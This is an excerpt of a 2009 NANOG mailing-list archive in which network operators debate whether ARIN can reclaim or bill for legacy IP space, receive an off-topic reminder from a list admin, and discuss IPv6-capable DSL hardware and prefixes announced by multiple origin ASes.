> >> > -- >> > -B >> > > P Go Green! Print this email only when necessary. Thank you for helping Time Warner Cable be environmentally responsible. This E-mail and any of its attachments may contain Time Warner Cable proprietary information, which is privileged, confidential, or subject to copyright belonging to Time Warner Cable. This E-mail is intended solely for the use of the individual or entity to which it is addressed. If you are not the intended recipient of this E-mail, you are hereby notified that any dissemination, distribution, copying, or action taken in relation to the contents of and attachments to this E-mail is strictly prohibited and may be unlawful. If you have received this E-mail in error, please notify the sender immediately and permanently delete the original and any copy of this E-mail and any printout. From sronan at fattoc.com Tue Apr 21 23:04:33 2009 From: sronan at fattoc.com (Shane Ronan) Date: Wed, 22 Apr 2009 00:04:33 -0400 Subject: The real issue In-Reply-To: <49EE94C3.9090206@rockynet.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com><4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <49EE94C3.9090206@rockynet.com> Message-ID: <81957B8EA25FF441BA6D1758F35AC4853D9B5C@BE136.mail.lan> However if someone at ARIN had put in a call to say the top 10 transit providers and asked them to black-hole this space (which they might do) then where would you have been? -----Original Message----- From: Mike Lewinski [mailto:mike at rockynet.com] Sent: Tuesday, April 21, 2009 8:54 PM To: nanog list Subject: Re: The real issue Shane Ronan wrote: > Very simple, just do it. Ha! We have some legacy IP space in continous use here at ASN13345 for over 12 years now that was recently "revoked" for a few weeks (only to be later restored via a transfer once the exact definition of "ownership" in a member-owned cooperative was hammered out). Guess what stopped working in the interim? Well the whois records were gone and our abuse desk probably had a tiny decrease in complaints as a result. In some quarters that might be seen as a blessing, but we view abuse reports as cries for help from infected hosts that will become larger service outages if not addressed. Also the in-addr services went away, affecting about a half dozen mail servers out of several thousand hosts in the "revoked" delegation. We did not receive one single call or complaint about connectivity in that duration apart from the in-addr loss, and those customers were offered smart host use or replacement IPs for the duration. The ones who chose the smart host continued to use the "revoked" IP space without problem after that. The Internet's greatest strength and greatest weakness is the lack of a central authority who can "just do it". I for one am happy it is that way. It's part of what makes us an *autonomous* system, sovereign of our own little kingdom. Mike From sronan at fattoc.com Tue Apr 21 23:05:00 2009 From: sronan at fattoc.com (Shane Ronan) Date: Wed, 22 Apr 2009 00:05:00 -0400 Subject: The real issue In-Reply-To: <75cb24520904212033w444995f4y50a8aea0b46c0fef@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <75cb24520904212033w444995f4y50a8aea0b46c0fef@mail.gmail.com> Message-ID: <81957B8EA25FF441BA6D1758F35AC4853D9B5D@BE136.mail.lan> No, but they can sure send them a bill and then go after them for collections when they don't pay it. -----Original Message----- From: christopher.morrow at gmail.com [mailto:christopher.morrow at gmail.com] On Behalf Of Christopher Morrow Sent: Tuesday, April 21, 2009 8:34 PM To: Shane Ronan Cc: nanog list Subject: Re: The real issue On Tue, Apr 21, 2009 at 11:26 PM, Shane Ronan wrote: > Very simple, just do it. > This isn't nike... I'm sorry for being obtuse, but they (arin) can't really do anything. I suspect that if they had to prosecute all folks in violation of the RSA they would have financial issues... and it wouldn't really solve anything long term anyway. In short, ARIN can't affect routability ARIN can't effectively deal with the contract issues in a timely fashion So.. what are they going to 'just do'? -Chris > On Apr 21, 2009, at 7:59 PM, Christopher Morrow wrote: > >> On Tue, Apr 21, 2009 at 10:46 PM, Shane Ronan wrote: >>> >>> It's means one of two things: >>> >> >> sure, but 'how' exactly? >> >>> 1) Recoup the unused space for paid reallocation >>> or >> >> arin never (nor do any RIR) guarantee routability, nor do they even a >> method to affect routability of a network. >> >>> 2) Have the current "owner" pay the market rate for the IP space >>> >> >> ... that's somewhat hard since the current policies don't support >> that, and there is no real legal stance for legacy-allocations... For >> allocated post-legacy-times ARIN can start court proceedings, but ... >> that's a lengthy process and expensive. >> >> -Chris >> >>> >>> On Apr 21, 2009, at 7:37 PM, Christopher Morrow wrote: >>> >>>> On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan wrote: >>>>> >>>>> Is ARIN, who won't even take back large blocks of space from people who >>>>> have >>>>> long ago stopped using it and aren't paying anything for it, prepared >>>>> to >>>>> start filing civil suits against people who were assigned /24's (and >>>>> paid >>>>> for them) due to inaccurate declaration? >>>> >>>> out of curiousity.. 'take back' means what in this context? >>> >>> >> >>

> >

From jlewis at lewis.org Tue Apr 21 23:27:37 2009 From: jlewis at lewis.org (Jon Lewis) Date: Wed, 22 Apr 2009 00:27:37 -0400 (EDT) Subject: The real issue In-Reply-To: <81957B8EA25FF441BA6D1758F35AC4853D9B5C@BE136.mail.lan> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com><4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <49EE94C3.9090206@rockynet.com> <81957B8EA25FF441BA6D1758F35AC4853D9B5C@BE136.mail.lan> Message-ID: On Wed, 22 Apr 2009, Shane Ronan wrote: > However if someone at ARIN had put in a call to say the top 10 transit > providers and asked them to black-hole this space (which they might do) > then where would you have been? You say that as if it hasn't happened. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From morrowc.lists at gmail.com Tue Apr 21 23:35:54 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 22 Apr 2009 00:35:54 -0400 Subject: The real issue In-Reply-To: References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> Message-ID: <75cb24520904212135m561cd620tcec899b7e415fa34@mail.gmail.com> On Tue, Apr 21, 2009 at 11:49 PM, Jon Lewis wrote: > On Tue, 21 Apr 2009, Christopher Morrow wrote: > >> arin never (nor do any RIR) guarantee routability, nor do they even a >> method to affect routability of a network. > > Sure they do. ?They can and have put pressure on networks to stop > advertisements from being propagated. ?What they can actually do if their > bluff is called, I have no idea, but I've seen their influence work. > Right: "Jon, hey this is hostmaster-at-arin-guy, your customer Jim is announcing a prefix that we think isn't his, anymore. Could you block that?" you: "Well, they do pay me, they are current, why do you think something bad is going on here?" you: "Ok, since you are arin, and I'm a good guy, I'll call the customer, get their side and give them some time to migrate off/repair their ARIN issues, end-of-week ok?" 1) assuming Jon is a 'good guy' (jon-lewis is, or has seemingly always been) 2) assuming this isn't a blatant VMX-networks-type hijack 3) assuming ARIN has a reason to pull whois content I've been on the receiving end of that sort of call, and I've pulled ASN's or ip-announcements back... but I've also seen customers get into tangles for non-payment when bills went to someone who didn't understand what ARIN was :( In the end, ARIN can't do anything if the 'customer' or 'ISP' in this case decides to not listen to ARIN. >>> 2) Have the current "owner" pay the market rate for the IP space >> >> ... that's somewhat hard since the current policies don't support >> that, and there is no real legal stance for legacy-allocations... For >> allocated post-legacy-times ARIN can start court proceedings, but ... >> that's a lengthy process and expensive. > > Having looked back at old copies of the domain-template.txt and > internet-number-template.txt, I really don't see why one group was > grandfathered in with an indefinite free ride and the other was not at all. mysteries... I don't claim to understand that either... someone, I suppose, long ago thought that this interwebz thing wasn't going to take off? (or that 4b numbers really was enough...) -Chris From morrowc.lists at gmail.com Tue Apr 21 23:38:25 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 22 Apr 2009 00:38:25 -0400 Subject: The real issue In-Reply-To: <81957B8EA25FF441BA6D1758F35AC4853D9B5C@BE136.mail.lan> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <49EE94C3.9090206@rockynet.com> <81957B8EA25FF441BA6D1758F35AC4853D9B5C@BE136.mail.lan> Message-ID: <75cb24520904212138n25d3fa6cp5a07cf84f6884115@mail.gmail.com> On Wed, Apr 22, 2009 at 12:04 AM, Shane Ronan wrote: > However if someone at ARIN had put in a call to say the top 10 transit > providers and asked them to black-hole this space (which they might do) > then where would you have been? > 'not my customer, not my issue, you REALLY need to talk to ASX who's their provider...' -Chris > -----Original Message----- > From: Mike Lewinski [mailto:mike at rockynet.com] > Sent: Tuesday, April 21, 2009 8:54 PM > To: nanog list > Subject: Re: The real issue > > Shane Ronan wrote: >> Very simple, just do it. > > Ha! We have some legacy IP space in continous use here at ASN13345 for > over 12 years now that was recently "revoked" for a few weeks (only to > be later restored via a transfer once the exact definition of > "ownership" in a member-owned cooperative was hammered out). > > Guess what stopped working in the interim? Well the whois records were > gone and our abuse desk probably had a tiny decrease in complaints as a > result. In some quarters that might be seen as a blessing, but we view > abuse reports as cries for help from infected hosts that will become > larger service outages if not addressed. > > Also the in-addr services went away, affecting about a half dozen mail > servers out of several thousand hosts in the "revoked" delegation. We > did not receive one single call or complaint about connectivity in that > duration apart from the in-addr loss, and those customers were offered > smart host use or replacement IPs for the duration. The ones who chose > the smart host continued to use the "revoked" IP space without problem > after that. > > The Internet's greatest strength and greatest weakness is the lack of a > central authority who can "just do it". I for one am happy it is that > way. It's part of what makes us an *autonomous* system, sovereign of our > > own little kingdom. > > Mike > > >

From morrowc.lists at gmail.com Tue Apr 21 23:40:17 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 22 Apr 2009 00:40:17 -0400 Subject: The real issue In-Reply-To: <81957B8EA25FF441BA6D1758F35AC4853D9B5D@BE136.mail.lan> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <75cb24520904212033w444995f4y50a8aea0b46c0fef@mail.gmail.com> <81957B8EA25FF441BA6D1758F35AC4853D9B5D@BE136.mail.lan> Message-ID: <75cb24520904212140t59aa8d84w84314595dbd33fe3@mail.gmail.com> On Wed, Apr 22, 2009 at 12:05 AM, Shane Ronan wrote: > No, but they can sure send them a bill and then go after them for > collections when they don't pay it. > where do you send the bill? For some even large organizations I've seen bills get shuffled to random places that didn't deal with 'bills' and then get dropped. Not everyone at these places understands what an 'ip address' or 'number resource' or 'ARIN' is... or what those things mean to the 'business'. This really isn't a simple thing, it's really not something that ARIN can go cowboy up and fix. (not for lack of trying over the years of course) -Chris > > -----Original Message----- > From: christopher.morrow at gmail.com [mailto:christopher.morrow at gmail.com] > On Behalf Of Christopher Morrow > Sent: Tuesday, April 21, 2009 8:34 PM > To: Shane Ronan > Cc: nanog list > Subject: Re: The real issue > > On Tue, Apr 21, 2009 at 11:26 PM, Shane Ronan wrote: >> Very simple, just do it. >> > > This isn't nike... > > I'm sorry for being obtuse, but they (arin) can't really do anything. > I suspect that if they had to prosecute all folks in violation of the > RSA they would have financial issues... and it wouldn't really solve > anything long term anyway. > > In short, ARIN can't affect routability > ? ? ? ? ? ? ARIN can't effectively deal with the contract issues in a > timely fashion > > So.. what are they going to 'just do'? > > -Chris > >> On Apr 21, 2009, at 7:59 PM, Christopher Morrow wrote: >> >>> On Tue, Apr 21, 2009 at 10:46 PM, Shane Ronan > wrote: >>>> >>>> It's means one of two things: >>>> >>> >>> sure, but 'how' exactly? >>> >>>> 1) Recoup the unused space for paid reallocation >>>> or >>> >>> arin never (nor do any RIR) guarantee routability, nor do they even a >>> method to affect routability of a network. >>> >>>> 2) Have the current "owner" pay the market rate for the IP space >>>> >>> >>> ... that's somewhat hard since the current policies don't support >>> that, and there is no real legal stance for legacy-allocations... For >>> allocated post-legacy-times ARIN can start court proceedings, but ... >>> that's a lengthy process and expensive. >>> >>> -Chris >>> >>>> >>>> On Apr 21, 2009, at 7:37 PM, Christopher Morrow wrote: >>>> >>>>> On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan > wrote: >>>>>> >>>>>> Is ARIN, who won't even take back large blocks of space from > people who >>>>>> have >>>>>> long ago stopped using it and aren't paying anything for it, > prepared >>>>>> to >>>>>> start filing civil suits against people who were assigned /24's > (and >>>>>> paid >>>>>> for them) due to inaccurate declaration? >>>>> >>>>> out of curiousity.. 'take back' means what in this context? >>>> >>>> >>> >>>

>> >> > >

>

From jbates at brightok.net Tue Apr 21 23:43:50 2009 From: jbates at brightok.net (Jack Bates) Date: Tue, 21 Apr 2009 23:43:50 -0500 Subject: The real issue In-Reply-To: <81957B8EA25FF441BA6D1758F35AC4853D9B5D@BE136.mail.lan> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <75cb24520904212033w444995f4y50a8aea0b46c0fef@mail.gmail.com> <81957B8EA25FF441BA6D1758F35AC4853D9B5D@BE136.mail.lan> Message-ID: <49EEA086.90804@brightok.net> Shane Ronan wrote: > No, but they can sure send them a bill and then go after them for > collections when they don't pay it. > 1) I don't care to pay higher member fees because ARIN has been going to court left and right. 2) ARIN membership hasn't voted for such, because they probably didn't want to pay higher fees. 3) Some of the "legacy" networks are the richest and meanest networks on the planet, and you can't go after the little guys without taking the big guys to court; you'll lose. 4) Join the ARIN mailing list for the lengthy boring discussion, and read their long archives that probably have touched all these points and actually are on topic. 5) If ARIN convinces people to blackhole your routes due to non-payment, this might be a list to discuss it on; though I doubt it. -Jack From jgreco at ns.sol.net Tue Apr 21 22:57:57 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Tue, 21 Apr 2009 22:57:57 -0500 (CDT) Subject: ADMIN: Reminder on off-topic threads In-Reply-To: from "Simon Lyall" at Apr 22, 2009 03:49:04 PM Message-ID: <200904220357.n3M3vvGU062583@aurora.sol.net> > A reminder that discussion of the following topics are off-topic for the > NANOG list. > > * Website security > * Corporate governance > * Arin IP address policy > > Please ensure that posts are network operations orientated. How about the operational relevance of strategies of how to proceed in operating and growing networks once all the IPv4 space is exhausted? It may not be wise to wait until ARIN allocates 256.0.0.0/8 to someone and everyone chimes in to note that their routers are barfing on that. :-/ ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From Sam.Crooks at experian.com Tue Apr 21 23:53:50 2009 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Tue, 21 Apr 2009 23:53:50 -0500 Subject: The real issue In-Reply-To: <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> Message-ID: And exactly how are you determining it is 'unused'? Not announced to the internet? (which means virtually nothing as far as 'use' status of an IP block) For pete sake, the time has come to resolve the issues that prevent widespread adoption of IPv6: - resolve RIR IPv6 allocation hassles for requesting end-user orgs - insist on IPv6-capable hardware/services/engineering staff when getting new hardware/services/staff - work toward retirement of IPv6-incapable hardware/software - train staff - start PoCs for IPv6 services (ip transit, DNS, etc) - start requiring IPv6 capability from ISPs which are slow to move (Vendor A, V, S, etc) Many large organizations use public IP space internally and do not announce it to the Internet. Some SPs use public IP space on private MPLS VPN networks to address links to customers to ensure non-conflicting addresses are used. Some companies run large extranets to connect to customers and partners. Many of these use public IP space to ensure services exposed to customers over these extranets never conflict with IP space used by customers. MOVE ON. Playing net cop does not solve the issue, merely forestalls it. -----Original Message----- From: Shane Ronan [mailto:sronan at fattoc.com] Sent: Tuesday, April 21, 2009 10:27 PM To: Christopher Morrow Cc: nanog list Subject: Re: The real issue Very simple, just do it. On Apr 21, 2009, at 7:59 PM, Christopher Morrow wrote: > On Tue, Apr 21, 2009 at 10:46 PM, Shane Ronan > wrote: >> It's means one of two things: >> > > sure, but 'how' exactly? > >> 1) Recoup the unused space for paid reallocation or > > arin never (nor do any RIR) guarantee routability, nor do they even a > method to affect routability of a network. > >> 2) Have the current "owner" pay the market rate for the IP space >> > > ... that's somewhat hard since the current policies don't support > that, and there is no real legal stance for legacy-allocations... For > allocated post-legacy-times ARIN can start court proceedings, but ... > that's a lengthy process and expensive. > > -Chris > >> >> On Apr 21, 2009, at 7:37 PM, Christopher Morrow wrote: >> >>> On Tue, Apr 21, 2009 at 10:21 PM, Shane Ronan >>> wrote: >>>> >>>> Is ARIN, who won't even take back large blocks of space from people >>>> who have long ago stopped using it and aren't paying anything for >>>> it, prepared to start filing civil suits against people who were >>>> assigned /24's (and paid for them) due to inaccurate declaration? >>> >>> out of curiousity.. 'take back' means what in this context? >> >> > >

From sronan at fattoc.com Tue Apr 21 23:56:46 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 21:56:46 -0700 Subject: The real issue In-Reply-To: <75cb24520904212138n25d3fa6cp5a07cf84f6884115@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <49EE94C3.9090206@rockynet.com> <81957B8EA25FF441BA6D1758F35AC4853D9B5C@BE136.mail.lan> <75cb24520904212138n25d3fa6cp5a07cf84f6884115@mail.gmail.com> Message-ID: <42F389F8-BAE5-4BA8-945E-D88D88E9A65F@fattoc.com> > 'not my customer, not my issue, you REALLY need to talk to ASX who's > their provider...' > > -Chris I don't believe this is how most ISP's would respond or there wouldn't be RBLs. On Apr 21, 2009, at 9:38 PM, Christopher Morrow wrote: > On Wed, Apr 22, 2009 at 12:04 AM, Shane Ronan > wrote: >> However if someone at ARIN had put in a call to say the top 10 >> transit >> providers and asked them to black-hole this space (which they might >> do) >> then where would you have been? >> > > > >> -----Original Message----- >> From: Mike Lewinski [mailto:mike at rockynet.com] >> Sent: Tuesday, April 21, 2009 8:54 PM >> To: nanog list >> Subject: Re: The real issue >> >> Shane Ronan wrote: >>> Very simple, just do it. >> >> Ha! We have some legacy IP space in continous use here at ASN13345 >> for >> over 12 years now that was recently "revoked" for a few weeks (only >> to >> be later restored via a transfer once the exact definition of >> "ownership" in a member-owned cooperative was hammered out). >> >> Guess what stopped working in the interim? Well the whois records >> were >> gone and our abuse desk probably had a tiny decrease in complaints >> as a >> result. In some quarters that might be seen as a blessing, but we >> view >> abuse reports as cries for help from infected hosts that will become >> larger service outages if not addressed. >> >> Also the in-addr services went away, affecting about a half dozen >> mail >> servers out of several thousand hosts in the "revoked" delegation. We >> did not receive one single call or complaint about connectivity in >> that >> duration apart from the in-addr loss, and those customers were >> offered >> smart host use or replacement IPs for the duration. The ones who >> chose >> the smart host continued to use the "revoked" IP space without >> problem >> after that. >> >> The Internet's greatest strength and greatest weakness is the lack >> of a >> central authority who can "just do it". I for one am happy it is that >> way. It's part of what makes us an *autonomous* system, sovereign >> of our >> >> own little kingdom. >> >> Mike >> >> >> > >

From sronan at fattoc.com Tue Apr 21 23:57:13 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 21:57:13 -0700 Subject: The real issue In-Reply-To: <75cb24520904212140t59aa8d84w84314595dbd33fe3@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <75cb24520904212033w444995f4y50a8aea0b46c0fef@mail.gmail.com> <81957B8EA25FF441BA6D1758F35AC4853D9B5D@BE136.mail.lan> <75cb24520904212140t59aa8d84w84314595dbd33fe3@mail.gmail.com> Message-ID: <33827E67-6F5E-493D-994D-2DBFA1C8D452@fattoc.com> Simple, send it to the address and contact listed in their whois record. On Apr 21, 2009, at 9:40 PM, Christopher Morrow wrote: > > where do you send the bill? For some even large organizations I've > seen bills get shuffled to random places that didn't deal with 'bills' > and then get dropped. Not everyone at these places understands what an > 'ip address' or 'number resource' or 'ARIN' is... or what those things > mean to the 'business'. > > This really isn't a simple thing, it's really not something that ARIN > can go cowboy up and fix. (not for lack of trying over the years of > course) > > -Chris From sronan at fattoc.com Tue Apr 21 23:58:36 2009 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 21 Apr 2009 21:58:36 -0700 Subject: The real issue In-Reply-To: <49EEA086.90804@brightok.net> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> <4EC2B4A0-ED77-4E5E-915C-F259595F33F2@fattoc.com> <75cb24520904212033w444995f4y50a8aea0b46c0fef@mail.gmail.com> <81957B8EA25FF441BA6D1758F35AC4853D9B5D@BE136.mail.lan> <49EEA086.90804@brightok.net> Message-ID: <9EA1DD52-8E94-472F-9337-E6B48D94B019@fattoc.com> But you are okay with them raising your fees to go to court left and right to enforce the declarations made by CEO's of companies who are happily paying the fees for the space they've been assigned. On Apr 21, 2009, at 9:43 PM, Jack Bates wrote: > 1) I don't care to pay higher member fees because ARIN has been > going to court left and right. From nanog at daork.net Tue Apr 21 23:59:55 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 22 Apr 2009 16:59:55 +1200 Subject: ADMIN: Reminder on off-topic threads In-Reply-To: <200904220357.n3M3vvGU062583@aurora.sol.net> References: <200904220357.n3M3vvGU062583@aurora.sol.net> Message-ID: <772A389A-89F7-4FE9-B9B2-D3DB19E366DE@daork.net> On 22/04/2009, at 3:57 PM, Joe Greco wrote: > It may not be wise to wait until ARIN allocates 256.0.0.0/8 to someone > and everyone chimes in to note that their routers are barfing on that. > :-/ Now that *would* be amusing. -- Nathan Ward From ras at e-gerbil.net Wed Apr 22 00:02:28 2009 From: ras at e-gerbil.net (Richard A Steenbergen) Date: Wed, 22 Apr 2009 00:02:28 -0500 Subject: The real issue In-Reply-To: <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <75cb24520904211937s2babcd37s295f1d2d8b2b79f@mail.gmail.com> <75cb24520904211959y3baa1ccaobd43c23596ea776b@mail.gmail.com> Message-ID: <20090422050228.GD51443@gerbil.cluepon.net> On Tue, Apr 21, 2009 at 10:59:24PM -0400, Christopher Morrow wrote: > ... that's somewhat hard since the current policies don't support > that, and there is no real legal stance for legacy-allocations... For > allocated post-legacy-times ARIN can start court proceedings, but ... > that's a lengthy process and expensive. Can't do that, they need that money to print and mail ARIN comic books. -- Richard A Steenbergen http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) From jbates at brightok.net Wed Apr 22 00:09:06 2009 From: jbates at brightok.net (Jack Bates) Date: Wed, 22 Apr 2009 00:09:06 -0500 Subject: IPv6-capable hardware? In-Reply-To: References: Message-ID: <49EEA672.4010409@brightok.net> Anyone found a decent PE/DSLAM configuration for supporting IPv6 in a bridged architecture (No PPP)? So far, the best I've found is DSLAMs that don't have mandated "security" features and support q-in-q for mass tagging back to concentrators, but the only concentrator I've found to handle a variety of VLAN & ATM terminations with IPv6 support is Cisco, and it's still extremely limited. Granted, my exposure is limited due to the current IPv4 layouts and existing hardware. Pointers would be appreciated. Jack Crooks, Sam wrote: > - insist on IPv6-capable hardware/services/engineering staff when > getting new hardware/services/staff From zhenkai at ucla.edu Wed Apr 22 01:53:02 2009 From: zhenkai at ucla.edu (Zhenkai Zhu) Date: Tue, 21 Apr 2009 23:53:02 -0700 Subject: IPv4 Anycast? Message-ID: <49EEBECE.50005@ucla.edu> Hello NANOG, I noticed that more than 3K prefixes are with 2 Origin ASes. Are they the simplest cases of anycast? Or they are mainly due to misconfiguration? --- --Zhenkai From nanog at daork.net Wed Apr 22 02:00:37 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 22 Apr 2009 19:00:37 +1200 Subject: IPv4 Anycast? In-Reply-To: <49EEBECE.50005@ucla.edu> References: <49EEBECE.50005@ucla.edu> Message-ID: <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> On 22/04/2009, at 6:53 PM, Zhenkai Zhu wrote: > Hello NANOG, > > I noticed that more than 3K prefixes are with 2 Origin ASes. > Are they the simplest cases of anycast? Or they are mainly due to > misconfiguration? The third (and probably more likely) option is that the prefixes are advertised by two providers as the customer wants redundancy with their own IP space, but does not have a public ASN. Ie. the customer has a circuit and possibly a BGP feed to two different providers. -- Nathan Ward From bmanning at vacation.karoshi.com Wed Apr 22 02:07:01 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Wed, 22 Apr 2009 07:07:01 +0000 Subject: IPv4 Anycast? In-Reply-To: <49EEBECE.50005@ucla.edu> References: <49EEBECE.50005@ucla.edu> Message-ID: <20090422070701.GA13961@vacation.karoshi.com.> On Tue, Apr 21, 2009 at 11:53:02PM -0700, Zhenkai Zhu wrote: > Hello NANOG, > > I noticed that more than 3K prefixes are with 2 Origin ASes. > Are they the simplest cases of anycast? Or they are mainly due to > misconfiguration? > > --- > --Zhenkai i honestly don't remember the requirement for single-origin AS in a prefix announcement. Not sure why anyone would think that multiple origin announcements are a "misconfiguration". --bill From zhenkai at ucla.edu Wed Apr 22 02:12:06 2009 From: zhenkai at ucla.edu (Zhenkai Zhu) Date: Wed, 22 Apr 2009 00:12:06 -0700 Subject: IPv4 Anycast? In-Reply-To: <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> Message-ID: <49EEC346.1000006@ucla.edu> Ah, that's very possible. So I suppose the 90 prefixes with 3 origin ASes are due to the same reason.. Then there is basically no inter-As anycast besides the anycast prefix for DNS root, since I only noticed like 8 prefixes that are announced by more than 3 ASes.. ---- --Zhenkai Nathan Ward wrote: > On 22/04/2009, at 6:53 PM, Zhenkai Zhu wrote: > >> Hello NANOG, >> >> I noticed that more than 3K prefixes are with 2 Origin ASes. >> Are they the simplest cases of anycast? Or they are mainly due to >> misconfiguration? > > > The third (and probably more likely) option is that the prefixes are > advertised by two providers as the customer wants redundancy with > their own IP space, but does not have a public ASN. Ie. the customer > has a circuit and possibly a BGP feed to two different providers. > > -- > Nathan Ward > > > From kris.foster at gmail.com Wed Apr 22 02:28:09 2009 From: kris.foster at gmail.com (kris foster) Date: Wed, 22 Apr 2009 00:28:09 -0700 Subject: IPv4 Anycast? In-Reply-To: <49EEC346.1000006@ucla.edu> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> Message-ID: <718161C7-2938-48B4-AE94-7A540A1F48F2@gmail.com> On Apr 22, 2009, at 12:12 AM, Zhenkai Zhu wrote: > Ah, that's very possible. So I suppose the 90 prefixes with 3 origin > ASes are due to the same reason.. > > Then there is basically no inter-As anycast besides the anycast > prefix for DNS root, since I only noticed like 8 prefixes that are > announced by more than 3 ASes.. There's lots of strangeness out there, for instance: http://www.ep.net/policy.html Bill lets anyone who has an IP assignment from an ep.net /24 announce that /24. The term 'anycast' has some vagueness at the edges. Kris From nanog at daork.net Wed Apr 22 02:45:02 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 22 Apr 2009 19:45:02 +1200 Subject: IPv4 Anycast? In-Reply-To: <49EEC346.1000006@ucla.edu> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> Message-ID: <2530F388-1571-41B9-9F2E-9CCDA6C4BA42@daork.net> On 22/04/2009, at 7:12 PM, Zhenkai Zhu wrote: > Ah, that's very possible. So I suppose the 90 prefixes with 3 origin > ASes are due to the same reason.. > > Then there is basically no inter-As anycast besides the anycast > prefix for DNS root, since I only noticed like 8 prefixes that are > announced by more than 3 ASes.. I never said that was the only reason, I'm sure plenty of people are doing anycast with different originating ASes. For example, check the 192.88.99.0/24 prefix. -- Nathan Ward From jbates at brightok.net Wed Apr 22 08:01:16 2009 From: jbates at brightok.net (Jack Bates) Date: Wed, 22 Apr 2009 08:01:16 -0500 Subject: IPv4 Anycast? In-Reply-To: <49EEC346.1000006@ucla.edu> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> Message-ID: <49EF151C.5020405@brightok.net> Zhenkai Zhu wrote: > Then there is basically no inter-As anycast besides the anycast prefix > for DNS root, since I only noticed like 8 prefixes that are announced by > more than 3 ASes.. > I presume you are using route-views or some such to get a larger picture of the BGP geography? I believe that many anycasts utilize the same ASN for their anycasted address space. I would expect that a few of them have an ASN specifically for their anycasted space. Given that the networks are duplicates, there's no requirement that one part of the AS needs to receive routes from the other part of the AS. For management and such of the devices, I presume there are separate netblocks advertised with a different ASN (possibly even statically assigned by a hosting network). Jack From ka at pacific.net Wed Apr 22 08:54:19 2009 From: ka at 